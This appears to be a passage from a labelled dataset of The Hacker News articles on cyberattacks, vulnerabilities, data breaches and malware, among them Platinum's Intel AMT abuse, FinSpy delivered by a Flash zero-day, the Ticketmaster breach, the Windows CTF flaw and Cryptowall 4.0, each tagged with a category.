Moreover, Linux systems with Intel's chips and AMT enabled may also be exposed to Platinum's malware.
""As this embedded processor is separate from the primary Intel processor, it can execute even when the main processor is powered off and is, therefore, able to provide out-of-band (OOB) remote administration capabilities such as remote power-cycling and keyboard, video, and mouse control (KVM),"" Microsoft said.
""Furthermore, as the SOL traffic bypasses the host networking stack, it cannot be blocked by firewall applications running on the host device. To enable SOL functionality, the device AMT must be provisioned.""
Unlike the remote authentication flaw discovered last month that enabled hackers to take over full control of a system by using AMT features without the need of any password, Platinum does not exploit any flaw in AMT, instead, requires AMT to be enabled on infected systems.

Microsoft notes that SOL session requires a username and password, so either the hacking group is using stolen credentials to make its malware remotely communicate with the C&C servers, or ""during the provisioning process, PLATINUM could select whichever username and password they wish.""
The Platinum hacking group has been using zero-day exploits, hot patching technique and other advanced tactics to penetrate in their target systems and networks in South Asian countries, but this is the first time someone is abusing legitimate management tools to evade detection.

Microsoft said it has already updated its own Windows Defender Advanced Threat Protection software that will alert network administrators of any malicious attempts at using AMT SOL, but only for systems running Windows operating system.

",Cyber_Attack
Hackers Use New Flash Zero-Day Exploit to Distribute FinFisher Spyware,https://thehackernews.com/2017/10/flash-player-zero-day.html,"FinSpy—the infamous surveillance malware is back and infecting high-profile targets using a new Adobe Flash zero-day exploit delivered through Microsoft Office documents.

Security researchers from Kaspersky Labs have discovered a new zero-day remote code execution vulnerability in Adobe Flash, which was being actively exploited in the wild by a group of advanced persistent threat actors, known as BlackOasis.

The critical type confusion vulnerability, tracked as CVE-2017-11292, could lead to code execution and affects Flash Player 21.0.0.226 for major operating systems including Windows, Macintosh, Linux and Chrome OS.

Researchers say BlackOasis is the same group of attackers which were also responsible for exploiting another zero-day vulnerability (CVE-2017-8759) discovered by FireEye researchers in September 2017.

Also, the final FinSpy payload in the current attacks exploiting Flash zero-day (CVE-2017-11292) shares the same command and control (C&C) server as the payload used with CVE-2017-8759 (which is Windows .NET Framework remote code execution).

So far BlackOasis has targeted victims in various countries including Russia, Iraq, Afghanistan, Nigeria, Libya, Jordan, Tunisia, Saudi Arabia, Iran, the Netherlands, Bahrain, United Kingdom and Angola.

The newly reported Flash zero-day exploit is at least the 5th zero-day that BlackOasis group exploited since June 2015.

The zero-day exploit is delivered through Microsoft Office documents, particularly Word, attached to a spam email, and embedded within the Word file includes an ActiveX object which contains the Flash exploit.

The exploit deploys the FinSpy commercial malware as the attack's final payload.
""The Flash object contains an ActionScript which is responsible for extracting the exploit using a custom packer seen in other FinSpy exploits,"" the Kaspersky Labs researchers say.
FinSpy is a highly secret surveillance tool that has previously been associated with Gamma Group, a British company that legally sells surveillance and espionage software to government agencies across the world.

FinSpy, also known as FinFisher, has extensive spying capabilities on an infected system, including secretly conducting live surveillance by turning ON its webcams and microphones, recording everything the victim types on the keyboard, intercepting Skype calls, and exfiltration of files.

To get into a target's system, FinSpy usually makes use of various attack vectors, including spear phishing, manual installation with physical access to the affected device, zero-day exploits, and watering hole attacks.
""The attack using the recently discovered zero-day exploit is the third time this year we have seen FinSpy distribution through exploits to zero-day vulnerabilities,"" said Anton Ivanov, lead malware analyst at Kaspersky Lab.
""Previously, actors deploying this malware abused critical issues in Microsoft Word and Adobe products. We believe the number of attacks relying on FinSpy software, supported by zero day exploits such as the one described here, will continue to grow.""
Kaspersky Lab reported the vulnerability to Adobe, and the company has addressed the vulnerability with the release of Adobe Flash Player versions 27.0.0.159 and 27.0.0.130.

Just last month, ESET researchers discovered legitimate downloads of several popular apps like WhatsApp, Skype, VLC Player and WinRAR (reportedly compromised at the ISP level) that were also distributing FinSpy.

So, businesses and government organizations around the world are strongly recommended to install the update from Adobe as soon as possible.

Microsoft will also likely be releasing a security update to patch the Flash Player components used by its products.

",Cyber_Attack
Persistent XSS Vulnerability in White House Website,https://thehackernews.com/2011/11/persistent-xss-vulnerability-in-white.html,"Persistent XSS Vulnerability in White House Website



Alexander Fuchs, A German Security Researcher Discover Persistent XSS Vulnerability in Official website of White House. He said ""The petition system is vulnerable. Every Petition i start or join will execute my code. I could join all petitions and my code will be executed on all users who visit the petition system.""
The XSS Demo is here: https://wwws.whitehouse.gov/petitions/!/petition/security/WxgwM7DS
Advisory: https://vulnerability-lab.com/get_content.php?id=308

",Vulnerability
Popular Online Tutoring Marketplace 'Wyzant' Suffers Data Breach,https://thehackernews.com/2019/05/wyzant-data-breach.html,"Wyzant—an online marketplace that makes it easy for parents and students to connect with private tutors, in-person and online, in over 250 different subjects—has suffered a data breach exposing ""certain personal identification information"" for its customers.

The Hacker News received a copy of an email notification Wyzant recently sent to its affected customers, which reveals an unknown attacker was able to gain access to one of its databases on April 27, which the company identified a week after the security incident.

The stolen personal identification information for affected customers includes their first name, last name, email address, zip code, and, for certain customers, their Facebook profile image as well who log-in to the platform using Facebook.

Wyzant also explicitly made it clear that the stolen data did not include any password, payment information, or record of its customers' activity on the Wyzant platform, and that no other than the above-mentioned data was known to have been accessed.

Though it is still unclear how many customers were actually hit by the security breach, or if both tutors and students are affected, or what security hole the unknown attackers exploited to get into the company's network, the company did confirm that it has now patched the underlying issue.

With more than 2 million registered users and over 76,000 active tutors in its database, Wyzant is a decade-old popular tutoring service that bring students and instructors together, online and in-person.

In response to the security incident, Wyzant says it is performing an extensive audit of its entire network and application security infrastructure and will notify its customers of any significant development.

""Wyzant has implemented additional security measures designed to prevent a recurrence of such an attack and to protect the privacy of our valued customers,"" the company says.

""This includes reviewing our security processes and protocols. We are also working closely with law enforcement to ensure the incident is properly addressed.""

For affected customers, Wyzant also warned them to beware of potential phishing attacks wherein attackers could use their personal information to trick them into providing additional personal information, such as credit card information or passwords.

The Hacker News has reached out to the company to know more about the data breach incident and will update this article as soon as we'll hear back from it.

",Data_Breaches
Adobe issues Emergency Flash Player update to patch critical zero-day threat,https://thehackernews.com/2014/02/adobe-issues-emergency-flash-player.html,"Adobe is recommending that users update their Flash Players immediately. The company has published an emergency security bulletin today, that addresses vulnerabilities the Flash Player and released a patch to fix a vulnerability which is currently being exploited in a sophisticated cyber espionage campaign.

""Adobe is aware of reports that an exploit for this vulnerability exists in the wild, and recommends users apply the updates referenced in the security bulletin.""

The vulnerability (CVE-2014-0497), allows an attacker to remotely take control of the targeted system hosting Flash. ""These updates address a critical vulnerability that could potentially allow an attacker to remotely take control of the affected system"" advisory said.

The security hole affects the version 12.0.0.43 and earlier for both Windows and Mac OSs and Adobe Flash Player 11.2.202.335 and earlier versions for Linux.

The vulnerability was discovered by two researchers at Kaspersky Lab, Alexander Polyakov and Anton Ivanov.

The story started some month ago, when the Kaspersky Team discovered a new sophisticated cyber espionage operation which has been going on at least since 2007. The operation dubbed ""The Mask"" hit systems in 27 countries leveraging high-end exploits, the attackers adopted an extremely sophisticated malware which includes a bootkit and rootkit.

The malicious code used is able to infect also Mac and Linux versions and included a customized attack against Kaspersky products.
""This is putting them above Duqu in terms of sophistication, making it one of the most advanced threats at the moment. Most interesting, the authors appear to be native in yet another language which has been observed very rarely in APT attacks. We will present more details about the ""Mask"" APT next week at the Kaspersky Security Analyst Summit 2014 (on Twitter, #TheSAS2014). "" Reports a post on SecureList blog.
Kaspersky Lab provides technical analysis of the exploits and payload. They discovered a total of 11 exploits, using same vulnerability and all are unpacked SWF files in the following versions of Adobe Flash Player:
11.3.372.94
11.3.375.10
11.3.376.12
11.3.377.15
11.3.378.5
11.3.379.14
11.6.602.167
11.6.602.180
11.7.700.169
11.7.700.202
11.7.700.224
These exploits only work with Windows XP, Vista, 2003 R2, 2003, Windows 7, Windows 7x64, Windows 2008 R2, Windows 2008, 8, Windows 8x6, Mac OS 10.6.8.

Researchers discovered that these exploits had been detected on three different user machines, one of which worked under Mac OS 10.6.8 and the other two under Windows 7. They found that .docx document with the 0-day exploit was distributed via a targeted email mailing.
There are total three types of Shellcode:
First one is a primitive shellcode that reads an executable named a.exe from an SWF file and drops it to the hard drive. Only one of the 11 exploits in our possession included a payload.
The second type downloads and executes a file from a URL passed in the SWF file's parameters. The third shellcode type, which is only present in some of the files, is the most interesting.
Adobe was informed of the availability of an exploit in the wild used to hit systems running the Flash Player, it recommends users update product installations to the latest versions:
Users of Adobe Flash Player 12.0.0.43 and earlier versions for Windows and Macintosh should update to Adobe Flash Player 12.0.0.44.
Users of Adobe Flash Player 11.2.202.335 and earlier versions for Linux should update to Adobe Flash Player 11.2.202.336.
Adobe Flash Player 12.0.0.41 installed with Google Chrome will automatically be updated to the latest Google Chrome version, which will include Adobe Flash Player 12.0.0.44 for Windows, Macintosh and Linux.
Adobe Flash Player 12.0.0.38 installed with Internet Explorer 10 will automatically be updated to the latest Internet Explorer 10 version, which will include Adobe Flash Player 12.0.0.44 for Windows 8.0.
Adobe Flash Player 12.0.0.38 installed with Internet Explorer 11 will automatically be updated to the latest Internet Explorer 11 version, which will include Adobe Flash Player 12.0.0.44 for Windows 8.1.
Adobe flash player download

",Malware
No More Ransom — 15 New Ransomware Decryption Tools Available for Free,https://thehackernews.com/2017/04/decrypt-ransomware-files-tool.html,"No More Ransom, so is the Ransomware Threat.

Launched less than a year ago, the No More Ransom (NMR) project has increased its capacity with new partners and new decryption tools added to its now global campaign to combat Ransomware.

Started as a joint initiative by Europol, the Dutch National Police, Intel Security and Kaspersky Lab, No More Ransom is an anti-ransomware cross-industry initiative to help ransomware victims recover their data without having to pay ransom to cyber criminals.

The online website not just educates computer users to protect themselves from ransomware, but also provides a collection of free decryption tools.

Since December, more than 10,000 victims from all over the world have been able to decrypt their locked up devices without spending a penny, using ransomware decryption tools available free of charge on this platform.

Statistics show that most of the website visitors were from Russia, the Netherlands, the U.S., Italy, and Germany.

The platform is now available in 14 languages and hosts 40 free decryption tools, supplied by a range of member organizations, which can be used by users to decrypt their files which have been locked up by given strains of ransomware.
No More Ransom initiative has been joined by thirty new organizations, including Avast, CERT Polska and Eleven Paths (the Telefonica Cyber Security Unit), which shows that the threat is a worldwide issue that needs to be fought together.

The initiative has also welcomed new law enforcement organizations from Interpol, Australia, Belgium, Israel, South Korea, Russia, and Ukraine.

Since December 2016, 15 new ransomware decryption tools have been added to the online portal by partner organizations, offering more decryption possibilities to the victims:

AVAST: Alcatraz Decryptor, Bart Decryptor, Crypt888 Decryptor, HiddenTear Decryptor, Noobcrypt Decryptor and Cryptomix Decryptor
Bitdefender: Bart Decryptor CERT Polska: Cryptomix/Cryptoshield decryptor
CheckPoint: Merry X-Mas Decryptor and BarRax Decryptor
Eleven Paths: Telefonica Cyber Security Unit: Popcorn Decryptor.
Emsisoft: Crypton Decryptor and Damage Decryptor.
Kaspersky Lab: Updates on Rakhni and Rannoh Decryptors.

Previously available in English, Dutch, French, Italian, Portuguese and Russian, the No More Ransom site has now added new languages including Finnish, German, Hebrew, Japanese, Korean, Slovenian, Spanish and Ukrainian.

More languages are also expected to be made available soon to assist victims across the world better.

",Malware
Google Discloses 20-Year-Old Unpatched Flaw Affecting All Versions of Windows,https://thehackernews.com/2019/08/ctfmon-windows-vulnerabilities.html,"Update — With this month's patch Tuesday updates, Microsoft has finally addressed this vulnerability, tracked as CVE-2019-1162, by correcting how the Windows operating system handles calls to Advanced Local Procedure Call (ALPC).

A Google security researcher has just disclosed details of a 20-year-old unpatched high-severity vulnerability affecting all versions of Microsoft Windows, back from Windows XP to the latest Windows 10.

The vulnerability resides in the way MSCTF clients and server communicate with each other, allowing even a low privileged or a sandboxed application to read and write data to a higher privileged application.

MSCTF is a module in Text Services Framework (TSF) of the Windows operating system that manages things like input methods, keyboard layouts, text processing, and speech recognition.

In a nutshell, when you log in to your Windows machine, it starts a CTF monitor service that works as a central manager to handle communications between all clients, which are actually windows for each process running on the same session, through an ALPC (advanced local procedure call) port.

""You might have noticed the ctfmon service in task manager, it is responsible for notifying applications about changes in keyboard layout or input methods. The kernel forces applications to connect to the ctfmon service when they start, and then exchange messages with other clients and receive notifications from the service,"" the researcher explained.

Tavis Ormandy from Google's Project Zero Team discovered that since there is no access control or any kind of authentication in place for this interaction, any application, any user and even sandboxed processes can:

connect to ctfmon ALPC port across all sessions,
read and write the text of any window, from any other session,
fake their thread id, process id, and HWND,
pretend as a CTF service, tricking other applications, even privileged ones, to connect to it, or
escape from sandboxes and escalate privileges.

""There is no access control in CTF, so you could connect to another user's active session and take over any application, or wait for an Administrator to login and compromise their session,"" Ormandy explains in a blog post published today.

""It turns out it was possible to reach across sessions and violate NT security boundaries for nearly twenty years, and nobody noticed.""



If exploited, the weakness in CTF protocol could allow attackers to easily bypass User Interface Privilege Isolation (UIPI), letting even an unprivileged process to:

read sensitive text from any window of other applications, including passwords out of dialog boxes,
gain SYSTEM privileges,
take control of the UAC consent dialog,
send commands to the administrator's console session, or
escape IL/AppContainer sandboxes by sending input to unsandboxed windows.

Ormandy has also published a proof-of-concept video demonstrating how the issue can be exploited to gain SYSTEM privileges in Windows 10.

Besides this, CTF protocol reportedly also contain many memory corruption flaws that, according to the researcher, can be exploited in a default configuration.

""Even without bugs, the CTF protocol allows applications to exchange input and read each other's content. However, there are a lot of protocol bugs that allow taking complete control of almost any other application. It will be interesting to see how Microsoft decides to modernize the protocol,"" Ormandy says.

The researcher has also released a custom open-source ""CTF Exploration Tool"" on Github that he developed and used to discover many critical security issues in the Windows CTF protocol.

Ormandy responsibly reported his findings to Microsoft in mid-May this year and released the details to the public today after Microsoft failed to address the issue within 90 days of being notified.

",Vulnerability
"Zerodium Offers $100,000 for Flash Zero-Day Exploit that Bypasses Mitigations",https://thehackernews.com/2016/01/flash-heap-isolation-exploit.html,"A well-known company popular for buying and selling zero-day vulnerabilities is now offering up to $100,000 for providing a working zero-day exploit for bypassing the Flash Player's Heap Isolation mitigation.

Few months back, Adobe deployed Heap Isolation in Flash version 18.0.0209 with an aim at making the Use-After-Free (UAF) vulnerabilities more difficult for cybercriminals to exploit.

Zerodium is a startup by the infamous French-based company Vupen that Buys and Sells zero-day exploits and vulnerabilities.


Zerodium, which describes itself as ""the premium zero-day acquisition platform,"" recently paid $1 Million bounty to a hacker for submitting a remote browser-based iOS 9.1/9.2b Jailbreak (untethered) Exploit.

What is ""Isolated Heap"" Mitigation Technique?

The use-after-free vulnerability is a type of memory corruption flaw that can be exploited by Hackers to execute arbitrary code or even allows full remote code execution capabilities.

Isolated Heap mitigation mechanism is designed to solve the usage issue of Use-After-Free (UAF) exploitation.

This Mitigation technique allocates a dedicated heap for selected critical objects to use, which is separate from other heaps that a user can directly access.

Isolated Heap prevents precise control of the data, thus eliminates the hacker's ability to corrupt memory in this way.

Here's The Target to Win $100,000

Today, Zerodium posted a tweet announcing that the company is offering:
$100,000 this month for an exploit that bypasses heap isolation of Flash Player with a sandbox escape.
$65,000 for an exploit that bypasses heap isolation of Flash Player without a sandbox escape.

Now, let's wait and watch who will win this competition, or I can say that who will be going to sell a new zero-day exploit to the company which is infamous for re-selling them further.

And If you really want to get rid of such nasty zero-day exploits, you are advised to simply disable or completely uninstall Adobe Flash Player immediately. Stay Tuned to our Facebook Page for latest Hacker News stories.

",Vulnerability
Internet Explorer flaw allows Hackers to Track your Mouse,https://thehackernews.com/2012/12/internet-explorer-flaw-allows-hackers.html,"A vulnerability in different versions of Microsoft's widely used browser Internet Explorer can allow hackers to track the movements of your mouse. Microsoft is investigating reports of a mouse-tracking flaw that puts virtual keyboards and keypads at risk to remote monitoring.

Spider.io, a UK-based company in the advertising analytics field, alleged that two unnamed companies are improperly using a flaw that allows them to track whether display advertisements, sometimes buried far down in web pages, are actually viewed by users.

Almost every US-based user of Internet Explorer will have their mouse cursor tracked via this exploit almost every day they browse the web. Microsoft has confirmed that every version of Internet Explorer, from version 6 dating back to 2001 up to 10, released this year, is vulnerable.

How this works ?
All a hacker needs to do is, buy a ad space on any webpage and wait until a user visits it. If the tab remains open, the hacker has continuous access to user's mouse movements. Cyber Criminals could use the technique for monitoring mouse movements used to log into sensitive websites with virtual keyboards on-screen keyboards similar to those on smartphones, they could work out a credit card number and other personal details.

Whereas Microsoft said, They have also stated that there are no immediate plans to patch this vulnerability in existing versions of the browser.

What More with Microsoft this weekend ?
Yesterday two Security researchers from 'The Hacker News' disclose serious vulnerability in Hotmail and Outlook that can allow an attacker to Hijack user accounts.

",Vulnerability
A Look Into Continuous Efforts By Chinese Hackers to Target Foreign Governments,https://thehackernews.com/2019/10/chinese-hackers-phishing.html,"Phishing is still one of the widely used strategies by cybercriminals and espionage groups to gain an initial foothold on the targeted systems.

Though hacking someone with phishing attacks was easy a decade ago, the evolution of threat detection technologies and cyber awareness among people has slowed down the success of phishing and social engineering attacks over the years.

Since phishing is more sort of a one-time opportunity for hackers before their victims suspect it and likely won't fall for the same trick again, sophisticated hacking groups have started putting a lot of effort, time and research to design well-crafted phishing campaigns.

In one such latest campaign discovered by cybersecurity researchers at Check Point, a Chinese hacking group, known as Rancor, has been found conducting very targeted and extensive attacks against Southeast Asian government entities from December 2018 to June 2019.

What's interesting about this ongoing 7-month long campaign is that over this period, the Rancor group has continuously updated tactics, tools, and procedures (TTP) based on its targets in an effort to come up with phishing email contents and lure documents appear being as convincing as possible.

""The observed attacks started with emails sent on behalf of employees from different government departments, embassies, or government-related entities in a Southeast Asian country,"" reads a report published by CheckPoint and privately shared with The Hacker News prior to its release.

""The attackers appeared determined to reach certain targets, as tens of emails were sent to employees under the same ministries. Furthermore, the emails' origin was likely spoofed to make them seem more reliable.""

Continuously Evolving Tactics, Tools, and Procedures

Researchers discovered different combinations of TTP based on their timeline, delivery, persistence, and payloads, and then combined them into 8 major variants, as listed below in this article.

Each attack variant started with a classic spear-phishing email containing a malicious document designed to run macros and exploit known vulnerabilities to install a backdoor on the victims' machines and gain full access to the systems.


Most of the delivery documents in this campaign contained legitimate government-related topics, like instructions for governmental employees, official letters, press releases, surveys, and more, appeared to be sent from other government officials.

Interestingly, as part of the infection chain, in most campaigns, attackers also bring their own legitimate, signed and trusted executables of major antivirus products to side-load malicious DLLs (dynamic link library) files to evade detection, especially from behavioral monitoring products.


As shown in the illustrations above, the abused legitimate executables belong to antivirus products including a component of Avast antivirus, BitDefender agent and Windows defender.

Though the attack chains involve fileless activities like usage of VBA macros, PowerShell code, and legitimate Windows built-in tools, this campaign is not designed to achieve a fileless approach as the researchers told The Hacker News that other parts of the campaign expose malicious activities to the file system.

""To date, we have not seen such a persistent attack on a government; the same attacks were targeted for 7 months. We believe that the US Government should take note,"" researchers warned as the US elections are near.

""To attack the US Government, these Chinese hackers wouldn't need to change much, except making their lure documents all in English, and include themes that would trigger the interest of the victim so that the victim would open the file.""

Rancor hacking group has previously been found attacking Cambodia and Singapore and continued its operations against entities within the Southeast Asia region, and this time the group has put 7 months of its effort on targeting the Southeast Asian government sector.

""We expect the group to continue to evolve, constantly changing their TTPs in the same manner as we observed throughout the campaign, as well as pushing their efforts to bypass security products and avoid attribution,"" the researchers conclude.

To learn more about the Rancor group and its latest campaign, you can head on to the CheckPoint report titled, ""Rancor: The Year of the Phish.""

",Cyber_Attack
"PCs with Intel Server Chipsets, Launched Since 2010, Can be Hacked Remotely",https://thehackernews.com/2017/05/intel-server-chipsets.html,"Updated: Since the below-reported vulnerability is highly critical and it would take a few weeks for sysadmins to protect their enterprise network, the research team has not yet disclosed the technical details of the vulnerability.

Meanwhile, I have talked with Maksim Malyutin, a member of Embedi research team who discovered the vulnerability in March, and updated my article based on the information provided by him.

A critical vulnerability has been discovered in the remote management features on computers shipped with Intel processors for past seven years (and not decade), which could allow attackers to take control of the computers remotely, affecting all Intel systems, including PC, laptops, and servers, with AMT feature enabled.

As reported earlier, this critical flaw (CVE-2017-5689) is not a remote code execution, rather Malyutin confirmed to The Hacker News that it's a logical vulnerability that also gives remote attackers an opportunity to exploit this bug using additional tactics.

This elevation of privilege bug resides in the Intel Management Engine (ME) technologies such as Active Management Technology (AMT), Small Business Technology (SBT), and Intel Standard Manageability (ISM), according to an advisory published Monday by Intel.

These remote management features allow a systems administrator to remotely manage large fleets of computers over a network (via ports 16992 or 16993) in an organization or an enterprise.

Since these functions are present only in enterprise solutions, and mostly in server chipsets, Intel claims that the vulnerability doesn't affect chips running on Intel-based consumer PCs.
But Malyutin told us that ""Intel-based consumer PCs with official support of Intel vPro (and have Intel AMT feature enabled) could also be at risk,"" and ""there is also a chance of attacks performed on Intel systems without official Intel AMT support.""

According to the Intel advisory, the vulnerability could be exploited in two ways:

An unprivileged network attacker could gain system privileges to provisioned Intel manageability SKUs: Intel AMT and ISM. However, Intel SBT is not vulnerable to this issue.
An unprivileged local attacker could provision manageability features gaining unprivileged network or local system privileges on Intel manageability SKUs: Intel AMT, ISM, and SBT.


How Bad is this Vulnerability

In short, a potential attacker can log into a vulnerable machine's hardware and silently perform malicious activities, like tampering with the machine, installing virtually undetectable malware, using AMT's features.

The PC's operating system never knows what's going around because AMT has direct access to the computer's network hardware. When AMT is enabled, any packet sent to the PC's wired network port will be redirected to the Management Engine and passed on to AMT – the OS never sees those packets.

These insecure management features have been made available in various, but not all, Intel chipsets from almost past seven years, starting from vPro-capable 5-series chipsets.
""Systems affected by this vulnerability are from 2010-2011 (not 2008, as was mentioned in some of the comments) because Intel manageability firmware version 6.0 and above was made not earlier than 2010,"" Embedi's brief post says.

""There is also a chance of attacks performed on Intel systems without Intel AMT support.""
Fortunately, none of these Management Engine features come enabled by default, and system administrators must first enable the services on their local network. So, basically if you are using a computer with ME features enabled, you are at risk.

Despite using Intel chips, modern Apple Mac computers do not ship with the AMT software and are thus not affected by the flaw.

Affected Firmware Versions & How to Patch

The security flaw affects Intel manageability firmware versions 6.x, 7.x, 8.x 9.x, 10.x, 11.0, 11.5, and 11.6 for Intel's AMT, ISM, and SBT platforms. However, versions before 6 or after 11.6 are not impacted.

Intel has rated the vulnerability as highly critical and released new firmware versions, instructions to detect if any workstation runs AMT, ISM, or SBT, a detection guide to check if your system is vulnerable, and a mitigation guide for those organizations that can not immediately install updates.

The chipmaker is recommending vulnerable customers install a firmware patch as soon as possible.
""Fixing this requires a system firmware update in order to provide new ME [management engine] firmware (including an updated copy of the AMT code). Many of the affected machines are no longer receiving firmware updates from their manufacturers, and so will probably never get a fix,"" CoreOS security engineer Matthew Garrett explained in a blog post. ""Anyone who ever enables AMT on one of these devices will be vulnerable.""

""That's ignoring the fact that firmware updates are rarely flagged as security critical (they don't generally come via Windows Update), so even when updates are made available, users probably won't know about them or install them.""
Malyutin told The Hacker News that they would release more technical details about this flaw in upcoming days, including different attack vectors for successful exploitation. We will update this article accordingly. Stay Tuned!

",Vulnerability
Ticketmaster Suffers Security Breach – Personal and Payment Data Stolen,https://thehackernews.com/2018/06/ticketmaster-data-breach.html,"Global entertainment ticketing service Ticketmaster has admitted that the company has suffered a security breach, warning customers that their personal and payment information may have been accessed by an unknown third-party.

The company has blamed a third-party support customer service chat application for the data breach that believed to affect tens of thousands of its customers.

The customer support chat application, made by Inbenta Technologies—a third-party artificial intelligence tech supplier—used to help major websites interact with their customers.

In its statement, Ticketmaster said it discovered malicious software on the customer support application hosted on its UK website that allowed attackers to extract the personal and payment information from its customers buying tickets.

Ticketmaster disabled the Inbenta product across all of its websites as soon as it recognized the malicious code.

However, Inbenta Technologies turned away blame back to Ticketmaster, saying that the ticketing service deployed the chat application improperly on its website.
""Upon further investigation by both parties, it has been confirmed that the source of the data breach was a single piece of JavaScript code, that was customized by Inbenta to meet Ticketmaster's particular requirements,"" Inbenta chief executive Jordi Torras said in a statement.
""This code is not part of any of Inbenta's products or present in any of our other implementations. Ticketmaster directly applied the script to its payments page, without notifying our team.""
Inbenta said by applying this Javascript to the payment page, Ticketmaster presented attackers with ""a point of vulnerability that affects the capacity for web forms to upload files,"" allowing attackers to locate, modify, and use the script to ""extract the payment information of Ticketmaster customers processed between February and June 2018.""

Compromised information includes name, address, email address, telephone number, payment details and Ticketmaster login details of its customers.
""Forensic teams and security experts are working around the clock to understand how the data was compromised,"" Ticketmaster said. ""We are working with relevant authorities, as well as credit card companies and banks.""
Neither Ticketmaster nor Inbenta did say the number of customers affected by the incident, but the ticketing service did confirm that less than 5% of its global customer base has been affected.

Inbenta is entirely confident that no other customer of Inbenta has been compromised in any way, and that the incident has ""nothing to do with any of its industry-leading AI and machine learning products,"" which serve hundreds of customers on six continents.
""We can fully assure our customers and end-users that no other implementation of Inbenta across any of our products or customer deployments has been affected,"" Inbenta said.
Ticketmaster said that it has emailed all affected customers, and is offering 12 months of free identity monitoring service for those who have been impacted.

Affected customers are also advised to keep a close eye on their bank account transactions for signs of any suspicious activity, and immediately notify their banks if found any.

Users are also advised to be cautious if they receive any suspicious or unrecognized phone call, text message, or email from anyone saying you must pay taxes or a debt immediately—even if they provide your personal information.

",Data_Breaches
Gameover ZeuS Trojan Targets Users of Monster.com Employment Portal,https://thehackernews.com/2014/03/gameover-zeus-trojan-targets-users-of.html,"Zeus Trojan is one of the most popular families of Banking Trojan, which was also used in a targeted malware campaign against a Salesforce.com customer at the end of the last month and researchers found that the new variant of Zeus Trojan has web crawling capabilities that are used to grab sensitive business data from that customer's CRM instance.

'GameOver' Banking Trojan is also a variant of Zeus financial malware that spreads via phishing emails. GameOver Zeus Trojan makes fraudulent transactions from your bank once installed in your system with the capability to conduct Distributed Denial of Service, or DDoS, attack using a botnet, which involves multiple computers flooding the financial institution's server with traffic in an effort to deny legitimate users access to the site.

TAREGET - EMPLOYMENT WEBSITES
Now, a new variant of GameOver Zeus Trojan has been spotted, targeting users of popular employment websites with social engineering attacks, implemented to fetch additional private information about the victims, that could be used for bypassing multi-factor authentication mechanisms on other websites or services.

The new variant has the capabilities to use complex web injections and perform Man-In-The-Browser (MITB) attack, which means it has caliber to infect a web browser to modify web pages, modify web contents or can insert addition contents, all in a completely covert fashion invisible to both the user and web host, even when other authentication factor solutions are in use.

Initially the new variant of the GameOver Zeus Trojan targeted 'CareerBuilder.com', which is the largest employment website in the US, but now the researchers at F-Secure came across the same variant targeting one of the world largest employment website, 'Monster.com'.

MONSTER vs ZEUS
The victims are served with the fake login page which looks similar to the same legitimate page (hiring.monster.com) of the website. Once the victim login, they are directed to the web page injected by the malware.
The web page serves 18 different security questions to choose from, that are nothing but all the common security questions which the various websites ask; from mailing websites to financial ones. The list of which are given below:

• In what City / Town does your nearest sibling live?
• In what City / Town was your first job?
• In what city did you meet your spouse/significant other?
• In what city or town did your mother and father meet?
• What are the last 5 digits / letters of your driver\'s license number?
• What is the first name of the boy or girl that you first dated?
• What is the first name of your first supervisor?
• What is the name of the first school you attended?
• What is the name of the school that you attended aged 14-16?
• What is the name of the street that you grew up on?
• What is the name of your favorite childhood friend?
• What is the street number of the first house you remember living in?
• What is your oldest sibling\'s birthday month and year? (e.g., January 1900)
• What is your youngest sibling\'s birthday?
• What month and day is your anniversary? (e.g January 2)
• What was the city where you were married?
• What was the first musical concert that you attended?
• What was your favorite activity in school?

The researchers warned the HR Recruiters with the website accounts to be on the lookout for any such irregularities.
""If the account is potentially tied to a bank account and a spending budget … it's a target for banking Trojans,"" said the researchers.
Also in 2012, the FBI warned us about the 'GameOver' banking Trojan, but attackers are now bypassing every traditional security measures making Zeus more sophisticated piece of malware and putting Zeus to use it against various popular and big targets.

",Malware
Hackers are using Nuclear Exploit Kit to Spread Cryptowall 4.0 Ransomware,https://thehackernews.com/2015/11/cryptowall-ransomware-malware.html,"Beware Internet Users!

Cryptowall 4.0 – the newest version of the world's worst Ransomware – has surfaced in the Nuclear exploit kit, one of the most potent exploit kits available in the underground market for hacking into computers.

Ransomware threat has emerged as one of the biggest threats to internet users in recent times. Typically, a Ransomware malware encrypts all files on victim's computer with a strong cryptographic algorithm, then demand a ransom to be paid in Bitcoin (range between $200 and $10,000).

Cryptowall is currently among the most widespread and sophisticated family of Ransomware backed by a very robust back-end infrastructure.

Also Read: Anyone can Now Create their Own Ransomware using This Hacking ToolKit

The recent report dated back to last month suggested that the authors of Cryptowall 3.0 ransomware virus have managed to raise more than $325 Million in revenue in the past year alone.

With the debut of Cryptowall 4.0 at the beginning of this month, ransomware threat has become more sophisticated and advanced as Cryptowall 4.0 is employing ""vastly improved"" communications as well as better design code so that it can exploit more vulnerabilities.

Cryptowall 4.0 Delivered via Nuclear Exploit Kit

Now less than a month after its release, Cryptowall 4.0 ransomware has been spotted to be delivered as part of a Nuclear Exploit Kit, according to the security researchers at the SANS Internet Storm Center (ISC).

Until recently, Cryptowall 4.0 has been distributed only via malicious spam and phishing emails, but now it has been infecting machines via an Exploit Kit.

SANS security researcher Brad Duncan wrote in a blog post published Tuesday that a cyber criminal working off domains belonging to Chinese registrar BizCN has been spreading the Cryptowall 4.0 ransomware via the Nuclear Exploit Kit.

Duncan said the cyber gang, dubbed the ""BizCN gate actor"" by him, began distributing the ransomware in payloads from the exploit kit as early as November 20.

Also Read: Free Ransomware Decryption and Malware Removal ToolKit

Duncan published a whole technical analysis on the SANS ISC website that shows how Nuclear exploit kit infects a vulnerable Windows host.
""Since this information is now public, the BizCN gate actor may change [their] tactics,"" Duncan said in the post. ""However, unless this actor initiates a drastic change, it can always be found again.""
Cryptowall 4.0 made its debut earlier this month with upgrades that made it even more challenging for victims to recover files from compromised computers than its predecessor.

Cryptowall 4.0 now not only encrypts the data in your files but also encrypts the file names as well, with vastly improved communication capabilities.

What Should You do if You get Infected by Cryptowall 4.0?

Once your computer is infected by Cryptowall 4.0, unfortunately, there is not much you can do, as the encryption it uses is very strong and almost unbreakable.

The only options you are left with are:
Either, Format your computer and restore your data from the backup
Or, Pay the Ransom money for decryption key
However, we do not advise you to pay ransom as it does not guarantee that you'll get the decryption key and paying ransom would encourage criminal activities as well.

Prevention is the Best Practice

As I previously recommended, the best defense measure against Ransomware is creating awareness within the organizations, as well as maintaining backups that are regularly rotated.

Most viruses are introduced by opening infected attachments or clicking on links to malware usually contained in spam emails.

